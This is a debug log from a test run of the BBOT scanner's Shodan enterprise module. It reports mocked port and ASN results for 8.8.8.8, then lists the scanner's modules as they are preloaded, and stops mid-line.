OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:03:08,255 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,255 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,256 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:03:08,256 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,257 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 17:03:08,257 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:03:08,257 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,258 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,258 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 17:03:08,259 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:03:08,259 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,259 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:03:08,260 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,260 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,261 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 17:03:08,261 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:03:08,261 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,262 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:03:08,262 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,263 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 17:03:08,263 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:03:08,263 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,264 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 17:03:08,264 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:03:08,265 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,265 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:03:08,266 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 17:03:08,266 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 17:03:08,266 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:03:08,267 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:03:08,267 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 17:03:08,349 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 17:03:08,350 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:03:08,351 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 17:03:08,352 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:03:08,352 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 17:03:08,353 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:03:08,353 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 17:03:08,353 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 17:03:08,354 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 17:03:08,355 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 17:03:08,355 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 17:03:08,356 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 17:03:08,357 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 17:03:08,357 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 17:03:08,358 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 17:03:08,358 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 17:03:08,458 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 17:03:08,460 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 17:03:08,478 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 17:03:08,479 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 17:03:08,479 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 17:03:08,487 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 17:03:08,487 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-03-01 17:03:08,488 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 17:03:08,489 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 17:03:08,490 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 17:03:08,490 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 17:03:08,606 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_i36zm0yzpu completed in 0 seconds with status FINISHED +2026-03-01 17:03:08,606 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 17:03:08,607 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 17:03:08,608 [CRITICAL] bbot test_module_shodan_enterprise.py:56 Found 1 ASN events +2026-03-01 17:03:08,608 [HUGEINFO] bbot test_module_shodan_enterprise.py:62 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-03-01 17:03:08,608 [CRITICAL] bbot test_module_shodan_enterprise.py:99 Found 2 TCP PORT events: ['8.8.8.8:443', '8.8.8.8:53'] +2026-03-01 17:03:08,608 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:102 ✓ Open TCP port 53 detected +2026-03-01 17:03:08,609 [CRITICAL] bbot test_module_shodan_enterprise.py:107 Found 1 UDP PORT events: ['8.8.8.8:53'] +2026-03-01 17:03:08,609 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:110 ✓ Open UDP port 53 detected +2026-03-01 17:03:08,609 [CRITICAL] bbot test_module_shodan_enterprise.py:114 Found 0 VULNERABILITY events +2026-03-01 17:03:08,609 [HUGEWARNING] bbot test_module_shodan_enterprise.py:117 Vulnerabilities: {} +2026-03-01 17:03:08,609 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-03-01 17:03:08,610 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-03-01 17:04:16,928 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 17:04:16,938 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 17:04:16,939 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 17:04:16,939 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 17:04:16,940 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 17:04:16,941 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 17:04:16,942 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 17:04:16,943 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 17:04:16,944 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 17:04:16,945 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 17:04:16,946 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 17:04:16,947 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 17:04:16,948 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 17:04:16,951 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 17:04:16,952 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 17:04:16,953 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 17:04:16,954 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 17:04:16,955 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 17:04:16,956 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 17:04:16,957 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 17:04:16,958 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 17:04:16,959 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 17:04:16,959 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 17:04:16,960 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-01 17:04:16,960 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-01 17:04:16,961 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-01 17:04:16,962 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-01 17:04:16,962 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-01 17:04:16,963 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-01 17:04:16,963 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-01 17:04:16,964 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-01 17:04:16,965 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-01 17:04:16,966 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-01 17:04:16,966 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-01 17:04:16,970 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-01 17:04:16,971 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-01 17:04:16,972 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-01 17:04:16,972 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-01 17:04:16,973 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-01 17:04:16,974 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-01 17:04:16,974 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-01 17:04:16,975 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-01 17:04:16,976 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-01 17:04:16,976 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-01 17:04:16,977 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-01 17:04:16,978 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-01 17:04:16,978 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-01 17:04:16,979 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-01 17:04:16,980 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-01 17:04:16,980 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-01 17:04:16,981 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-01 17:04:16,982 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-01 17:04:16,982 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-01 17:04:16,983 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-01 17:04:16,983 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-01 17:04:16,984 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-01 17:04:16,985 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-01 17:04:16,985 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-01 17:04:16,986 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-01 17:04:16,986 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-01 17:04:16,992 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-01 17:04:16,993 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-01 17:04:16,994 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-01 17:04:16,994 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-01 17:04:16,995 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-01 17:04:16,996 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-01 17:04:16,997 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-01 17:04:16,997 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-01 17:04:16,998 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-01 17:04:16,999 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-01 17:04:17,000 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-01 17:04:17,000 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-01 17:04:17,001 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-01 17:04:17,002 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-01 17:04:17,002 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-01 17:04:17,003 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-01 17:04:17,004 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-01 17:04:17,004 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-01 17:04:17,005 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-01 17:04:17,005 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-01 17:04:17,006 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-01 17:04:17,006 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-01 17:04:17,007 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-01 17:04:17,007 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-01 17:04:17,008 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-01 17:04:17,009 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-01 17:04:17,009 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-01 17:04:17,011 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-01 17:04:17,011 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-01 17:04:17,012 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-01 17:04:17,013 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-01 17:04:17,013 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-01 17:04:17,014 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-01 17:04:17,014 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-01 17:04:17,015 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-01 17:04:17,015 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-01 17:04:17,016 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-01 17:04:17,016 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-01 17:04:17,017 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-01 17:04:17,018 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-01 17:04:17,018 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-01 17:04:17,019 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-01 17:04:17,020 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-01 17:04:17,020 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-01 17:04:17,021 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-01 17:04:17,021 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-01 17:04:17,022 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-01 17:04:17,022 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-01 17:04:17,023 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-01 17:04:17,024 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-01 17:04:17,024 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-01 17:04:17,025 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-01 17:04:17,025 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-01 17:04:17,027 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-01 17:04:17,027 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-01 17:04:17,028 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-01 17:04:17,028 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-01 17:04:17,029 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-01 17:04:17,029 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-01 17:04:17,030 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-01 17:04:17,030 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-01 17:04:17,031 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-01 17:04:17,032 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-01 17:04:17,033 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-01 17:04:17,033 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-01 17:04:17,034 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-01 17:04:17,034 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-01 17:04:17,035 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-01 17:04:17,036 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-01 17:04:17,036 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 17:04:17,037 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 17:04:17,037 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 17:04:17,038 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 17:04:17,039 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 17:04:17,039 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 17:04:17,040 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 17:04:17,040 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 17:04:17,041 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 17:04:17,041 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 17:04:17,042 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 17:04:17,042 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-01 17:04:17,043 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 17:04:17,044 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 17:04:17,045 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 17:04:17,045 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 17:04:17,045 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 17:04:17,046 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 17:04:17,047 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 17:04:17,047 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 17:04:17,048 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 17:04:17,049 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 17:04:17,050 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 17:04:17,051 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 17:04:17,051 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 17:04:17,052 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 17:04:17,054 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 17:04:17,054 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 17:04:17,055 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 17:04:17,056 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 17:04:17,057 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 17:04:17,057 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 17:04:17,058 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 17:04:17,058 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 17:04:17,059 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 17:04:17,060 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 17:04:17,061 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 17:04:17,062 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 17:04:17,063 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 17:04:17,063 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 17:04:17,064 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 17:04:18,160 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 